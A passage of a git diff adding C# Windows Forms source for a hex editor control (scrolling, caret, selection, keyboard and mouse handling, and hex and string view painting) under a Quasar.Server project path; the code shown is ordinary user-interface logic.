(_isVScrollVisible == value) + return; + + _isVScrollVisible = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + }bool _isVScrollVisible = false; + + #endregion + + #endregion + + #region EventHandlers + + [Description("Event that is triggered whenever the hextable has been changed.")] + public event EventHandler HexTableChanged; + + [Description("Event that is triggered whenever the SelectionStart value is changed.")] + public event EventHandler SelectionStartChanged; + + [Description("Event that is triggered whenever the SelectionLength value is changed.")] + public event EventHandler SelectionLengthChanged; + + [Description("Event that is triggered whenever the size of the char is changed.")] + public event EventHandler CharSizeChanged; + + #endregion + + #region Events + + protected void OnVScrollBarScroll(object sender, ScrollEventArgs e) + { + switch (e.Type) + { + case ScrollEventType.SmallIncrement: + ScrollLineDown(1); + break; + case ScrollEventType.SmallDecrement: + ScrollLineUp(1); + break; + case ScrollEventType.LargeIncrement: + ScrollLineDown(_vScrollLarge); + break; + case ScrollEventType.LargeDecrement: + ScrollLineUp(_vScrollLarge); + break; + case ScrollEventType.ThumbTrack: + ScrollThumbTrack(e.NewValue - e.OldValue); + break; + } + Invalidate(); + } + + protected void CaretSelectionStartChanged(object sender, EventArgs e) + { + if (SelectionStartChanged != null) + SelectionStartChanged(this, e); + } + + protected void CaretSelectionLengthChanged(object sender, EventArgs e) + { + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, e); + } + + #region Overriden + + protected override void OnMarginChanged(EventArgs e) + { + base.OnMarginChanged(e); + UpdateRectanglePositioning(); + Invalidate(); + } + + protected override void OnGotFocus(EventArgs e) + { + if (_handler != null) + _handler.OnGotFocus(e); + + UpdateRectanglePositioning(); + Invalidate(); + base.OnGotFocus(e); + } + + protected override void OnLostFocus(EventArgs e) + { + _dragging = false; + DestroyCaret(); + base.OnLostFocus(e); + } + + #endregion + + #endregion + + #region KeyEvents + + protected override bool IsInputKey(Keys keyData) + { + switch (keyData) + { + case Keys.Right: + case Keys.Left: + case Keys.Up: + case Keys.Down: + case Keys.Shift | Keys.Right: + case Keys.Shift | Keys.Left: + case Keys.Shift | Keys.Up: + case Keys.Shift | Keys.Down: + return true; + } + return base.IsInputKey(keyData); + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + if (_handler != null) + _handler.OnKeyPress(e); + + base.OnKeyPress(e); + } + + protected override void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.PageDown) + { + if (!_isVScrollHidden) + { + ScrollLineDown(_vScrollLarge); + Invalidate(); + } + } + else if (e.KeyCode == Keys.PageUp) + { + if (!_isVScrollHidden) + { + ScrollLineUp(_vScrollLarge); + Invalidate(); + } + } + else + { + if (_handler != null) + _handler.OnKeyDown(e); + } + + base.OnKeyDown(e); + } + + protected override void OnKeyUp(KeyEventArgs e) + { + if (_handler != null) + _handler.OnKeyUp(e); + + base.OnKeyUp(e); + } + + #endregion + + #region MouseEvents + + //Indicates if the mouse is currently being dragged or not + private bool _dragging; + + protected override void OnMouseDown(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDown(e); + + if (e.Button == MouseButtons.Left) + { + _dragging = true; + Invalidate(); + } + } + else + { + this.Focus(); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (this.Focused) + { + if (_dragging) + { + if (_handler != null) + _handler.OnMouseDragged(e); + + Invalidate(); + } + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + _dragging = false; + + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseUp(e); + } + + base.OnMouseUp(e); + } + + protected override void OnMouseDoubleClick(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDoubleClick(e); + } + + base.OnMouseDoubleClick(e); + } + + #endregion + + #region Caret + + #region Properties + + public int CaretPosX + { + get + { + lock (_caretLock) + { + return _caret.Location.X; + } + } + } + + public int CaretPosY + { + get + { + lock (_caretLock) + { + return _caret.Location.Y; + } + } + } + + public int SelectionStart + { + get + { + lock (_caretLock) + { + return _caret.SelectionStart; + } + } + } + + public int SelectionLength + { + get + { + lock (_caretLock) + { + return _caret.SelectionLength; + } + } + } + + public int CaretIndex + { + get + { + lock (_caretLock) + { + return _caret.CurrentIndex; + } + } + } + + public bool CaretFocused + { + get + { + lock (_caretLock) + { + return _caret.Focused; + } + } + } + + #endregion + + #region Methods + + public void SetCaretStart(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetStartIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public void SetCaretEnd(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetEndIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public bool IsSelected(int byteIndex) + { + lock (_caretLock) + { + return _caret.IsSelected(byteIndex); + } + } + + public void DestroyCaret() + { + lock (_caretLock) + { + _caret.Destroy(); + } + } + + #endregion + + #endregion + + #region HexTable + + #region Properties + + public int HexTableLength + { + get + { + lock (_hexTableLock) + { + return _hexTable.Length; + } + } + } + + #endregion + + #region Methods + + public void RemoveSelectedBytes() + { + int index = SelectionStart; + int length = SelectionLength; + if (length > 0) + { + lock (_hexTableLock) + { + _hexTable.RemoveRange(index, length); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + } + + public void RemoveByteAt(int index) + { + lock (_hexTableLock) + { + _hexTable.RemoveAt(index); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void AppendByte(byte item) + { + lock (_hexTableLock) + { + _hexTable.Add(item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void InsertByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.Insert(index, item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public char GetByteAsChar(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetCharAt(index); + } + } + + public byte GetByte(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetAt(index); + } + } + + public void SetByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.SetAt(index, item); + } + + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + #endregion + + #endregion + + #region Scrollbar + + public void ScrollLineUp(int lines) + { + if (_firstByte > 0) + { + lines = lines > _vScrollPos ? _vScrollPos : lines; + //Scroll up + _vScrollPos -= _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y += _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + } + } + } + } + + public void ScrollLineDown(int lines) + { + if (_vScrollPos <= _vScrollMax - _vScrollLarge) + { + lines = (lines + _vScrollPos) > (_vScrollMax - _vScrollLarge) ? (_vScrollMax - _vScrollLarge) - _vScrollPos + 1 : lines; + //Scroll up + _vScrollPos += _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y -= _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + if (caretLocation.Y < _recContent.Y) + _caret.Hide(this.Handle); + } + } + } + } + + public void ScrollThumbTrack(int lines) + { + if (lines == 0) + return; + + if (lines < 0) + { + ScrollLineUp((-1) * lines); + } + else + { + ScrollLineDown(lines); + } + } + + /// + /// Performs a scroll to the given caretIndex + /// + /// The caret index to scroll to + public Point ScrollToCaret(int caretIndex, Point position) + { + if (position.Y < 0) + { + //Need to scroll up until caret is visible + _vScrollPos -= Math.Abs((position.Y - _recContent.Y) / _recLineCount.Height) * _vScrollSmall; + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = _recContent.Y; + } + } + else if (position.Y > _maxVisibleBytesV * _recLineCount.Height) + { + //Need to scroll down until caret is visible + _vScrollPos += ((position.Y) / _recLineCount.Height - (_maxVisibleBytesV - 1)) * _vScrollSmall; + + if (_vScrollPos > (_vScrollMax - (_vScrollLarge - 1))) + _vScrollPos = (_vScrollMax - (_vScrollLarge - 1)); + + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = (_maxVisibleBytesV - 1) * _recLineCount.Height + _recContent.Y; + } + } + return position; + } + + #endregion + + #region Update Actions + + private void UpdateRectanglePositioning() + { + if (ClientRectangle.Width == 0) + return; + + //Start by calculating the size of a char + SizeF charSize; + using (var graphics = this.CreateGraphics()) + { + charSize = graphics.MeasureString("D", Font, 100, _stringFormat); + } + CharSize = new SizeF((float)Math.Ceiling(charSize.Width), (float)Math.Ceiling(charSize.Height)); + + //Set the main content bounds (remove margins) + _recContent = ClientRectangle; + _recContent.X += Margin.Left; + _recContent.Y += Margin.Top; + _recContent.Width -= Margin.Right; + _recContent.Height -= Margin.Bottom; + + //Check if the border is active and decrease the bounds + if (BorderStyle == BorderStyle.Fixed3D) + { + _recContent.X += 2; + _recContent.Y += 2; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + _recContent.X += 1; + _recContent.Y += 1; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + + //Handle if the scrollbar is visible + if (!VScrollBarHidden) + { + _recContent.Width -= _vScrollBarWidth; + _vScrollBar.Left = _recContent.X + _recContent.Width - Margin.Left; + _vScrollBar.Top = _recContent.Y - Margin.Top; + _vScrollBar.Width = _vScrollBarWidth; + _vScrollBar.Height = _recContent.Height; + } + + _recLineCount = new Rectangle(_recContent.X, _recContent.Y, (int)(_charSize.Width * 4), (int)(_charSize.Height) - 2); + + _editView.Update(_recLineCount.X + _recLineCount.Width + _entityMargin / 2, _recContent); + + //Calculate needed maximums for the bytes + _maxBytesH = _bytesPerLine; + _maxBytesV = (int)Math.Ceiling(((float)_recContent.Height / (float)_recLineCount.Height)); + _maxBytes = _maxBytesH * _maxBytesV; + _maxVisibleBytesV = (int)Math.Floor(((float)_recContent.Height / (float)_recLineCount.Height)); + + UpdateScrollBarSize(); + } + + private void UpdateVisibleByteIndex() + { + if (_hexTable.Length == 0) + { + _firstByte = 0; + _lastByte = 0; + } + else + { + _firstByte = _vScrollPos * _maxBytesH; + _lastByte = (int)Math.Min(HexTableLength, _firstByte + _maxBytes); + } + } + + private void UpdateScrollValues() + { + if (!_isVScrollHidden) + { + _vScrollBar.Minimum = _vScrollMin; + _vScrollBar.Maximum = _vScrollMax; + _vScrollBar.Value = _vScrollPos; + + _vScrollBar.SmallChange = _vScrollSmall; + _vScrollBar.LargeChange = _vScrollLarge; + + _vScrollBar.Visible = true; + } + else + { + _vScrollBar.Visible = false; + } + } + + private void UpdateScrollBarSize() + { + if (VScrollBarVisisble && _maxVisibleBytesV > 0 && _maxBytesH > 0) + { + //Holds the size of a page (number of rows per page) + int largeScroll = _maxVisibleBytesV; + //Holds the row size (1) + int smallScroll = 1; + //Holds the minimum value of the scrollbar + int minScroll = 0; + //Holds the maximum value of the scrollbar + int maxScroll = HexTableLength / _maxBytesH; + //Holds the current positon on the scrollbar + int posScroll = _firstByte / _maxBytesH; + + if (largeScroll != _vScrollLarge || smallScroll != _vScrollSmall) + { + _vScrollLarge = largeScroll; + _vScrollSmall = smallScroll; + } + + if (maxScroll >= largeScroll) + { + if (maxScroll != _vScrollMax || posScroll != _vScrollPos) + { + _vScrollMin = minScroll; + _vScrollMax = maxScroll; + _vScrollPos = posScroll; + } + + VScrollBarHidden = false; + + UpdateScrollValues(); + } + else + { + VScrollBarHidden = true; + } + } + else + { + VScrollBarHidden = true; + } + } + + #endregion + + #region Constructor + + public HexEditor() + : this(new ByteCollection()) + { } + + public HexEditor(ByteCollection collection) + { + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + + //Set the provided byte collection + _hexTable = collection; + + //Set the vertical scrollbar + _vScrollBar = new VScrollBar(); + _vScrollBar.Scroll += new ScrollEventHandler(OnVScrollBarScroll); + + //Redraw whenever the control is resized + SetStyle(ControlStyles.ResizeRedraw, true); + + //Enable double buffering + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + + //Enable selectable + SetStyle(ControlStyles.Selectable, true); + + //Handle initialization of Caret + _caret = new Caret(this); + _caret.SelectionStartChanged += new EventHandler(CaretSelectionStartChanged); + _caret.SelectionLengthChanged += new EventHandler(CaretSelectionLengthChanged); + + //Create the needed edit view + _editView = new EditView(this); + _handler = _editView; + + //Set defualt cursor + this.Cursor = Cursors.IBeam; + } + + #endregion + + #region Boundary Calculator + + private RectangleF GetLineCountBound(int index) + { + RectangleF ret = new RectangleF( + _recLineCount.X, + _recLineCount.Y + (_recLineCount.Height * index), + _recLineCount.Width, + _recLineCount.Height + ); + + return ret; + } + + #endregion + + #region OnPaint - Functions + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + + if (BorderStyle == BorderStyle.Fixed3D) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder3D(pevent.Graphics, ClientRectangle, Border3DStyle.Sunken); + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder(pevent.Graphics, ClientRectangle, BorderColor, ButtonBorderStyle.Solid); + } + else + { + base.OnPaintBackground(pevent); + } + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + Region r = new Region(ClientRectangle); + r.Exclude(_recContent); + e.Graphics.ExcludeClip(r); + + UpdateVisibleByteIndex(); + + PaintLineCount(e.Graphics, _firstByte, _lastByte); + + _editView.Paint(e.Graphics, _firstByte, _lastByte); + } + + private void PaintLineCount(Graphics g, int startIndex, int lastIndex) + { + SolidBrush brush = new SolidBrush(ForeColor); + + for (int i = 0; ((i * _maxBytesH) + startIndex) <= lastIndex; i++) + { + RectangleF drawSurface = GetLineCountBound(i); + string lineCount = (startIndex + (i * _maxBytesH)).ToString(_lineCountCaps); + //Calculate how many '0' need to be added to the current count + int zeros = _nrCharsLineCount - lineCount.Length; + + string lineStr; + if (zeros > -1) + { + lineStr = new string('0', zeros) + lineCount; + } + else + { + lineStr = new string('~', _nrCharsLineCount); + } + g.DrawString(lineStr, Font, brush, drawSurface, _stringFormat); + } + } + + #endregion + + #region OnRezie + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + + UpdateRectanglePositioning(); + Invalidate(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexViewHandler.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexViewHandler.cs new file mode 100755 index 0000000..cc57191 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexViewHandler.cs @@ -0,0 +1,442 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class HexViewHandler + { + #region Fields + + bool _isEditing; + + /// + /// Contains info about how to + /// present the hex values + /// (Upper or Lower case) + /// + string _hexType = "X2"; + + /// + /// Contains the boundary for one single + /// hexa value that is visible + /// + Rectangle _recHexValue; + + /// + /// Contains the format of the hexadecimal + /// strings that are presented + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recHexValue.X + (_recHexValue.Width * _editor.BytesPerLine); } + } + + #endregion + + #region Constructor + + public HexViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region Method + + #region KeyMouseEvents + + #region KeyEvents + + public void OnKeyPress(KeyPressEventArgs e) + { + if (IsHex(e.KeyChar)) + HandleUserInput(e.KeyChar); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + if (_isEditing) + { + //Remove the byte that is being edited + index = _editor.CaretIndex; + } + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + _isEditing = false; + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.HexTableLength) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point position = GetCaretLocation(index); + + if (isShiftDown) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + + #endregion + + #region MouseEvent + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + _isEditing = false; + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #endregion + + #region PaintMethod + + public void Update(int startPositionX, Rectangle area) + { + _recHexValue = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * 3), + (int)(_editor.CharSize.Height) - 2 + ); + + _recHexValue.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(hexValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.DrawString(hexValue, _editor.Font, brush, drawSurface, _stringFormat); + } + + #endregion + + public void SetLowerCase() + { + _hexType = "x2"; + } + + public void SetUpperCase() + { + _hexType = "X2"; + } + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recHexValue.X + (_recHexValue.Width * (index % _editor.BytesPerLine)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + //Perform overwrite + HandleUserRemove(); + + if (_isEditing) + { + //Editing has already started, should change the second nibble + _isEditing = false; + //Load old bytes to allow change + byte oldByte = _editor.GetByte(_editor.CaretIndex); + //Append the new nibble + oldByte += Convert.ToByte(key.ToString(), 16); + _editor.SetByte(_editor.CaretIndex, oldByte); + //Relocate the caret + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + + } + else + { + //Begin new edit phase + _isEditing = true; + string hexByte = key.ToString() + "0"; + byte newByte = Convert.ToByte(hexByte, 16); + + if (_editor.HexTable.Length <= 0) + { + _editor.AppendByte(newByte); + } + else + { + _editor.InsertByte(_editor.CaretIndex, newByte); + } + + //Relocate the caret to the middle of the hex value (provide illusion of editing the second value) + int xPos = (_recHexValue.X + (_recHexValue.Width * ((_editor.CaretIndex) % _editor.BytesPerLine)) + (_recHexValue.Width / 2)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + _editor.SetCaretStart(_editor.CaretIndex, new Point(xPos, yPos)); + } + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recHexValue.X + (point.X * _recHexValue.Width), + _recHexValue.Y + (point.Y * _recHexValue.Height), + _recHexValue.Width, + _recHexValue.Height + ); + + return ret; + } + + private bool IsHex(char c) + { + return (c >= 'a' && c <= 'f') || + (c >= 'A' && c <= 'F') || + Char.IsDigit(c); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs new file mode 100755 index 0000000..7121208 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -0,0 +1,24 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public interface IKeyMouseEventHandler + { + void OnKeyPress(KeyPressEventArgs e); + + void OnKeyDown(KeyEventArgs e); + + void OnKeyUp(KeyEventArgs e); + + void OnMouseDown(MouseEventArgs e); + + void OnMouseDragged(MouseEventArgs e); + + void OnMouseUp(MouseEventArgs e); + + void OnMouseDoubleClick(MouseEventArgs e); + + void OnGotFocus(EventArgs e); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/StringViewHandler.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/StringViewHandler.cs new file mode 100755 index 0000000..125e133 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/StringViewHandler.cs @@ -0,0 +1,382 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class StringViewHandler + { + #region Field + + /// + /// Contains the boundary of + /// a single line + /// + Rectangle _recStringView; + + /// + /// Contains the format of the + /// string to be used in the + /// string view + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recStringView.X + _recStringView.Width; } + } + + #endregion + + #region Constructor + + public StringViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region KeyMouseEvents + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (!Char.IsControl(e.KeyChar)) + { + HandleUserInput(e.KeyChar); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height); + + if 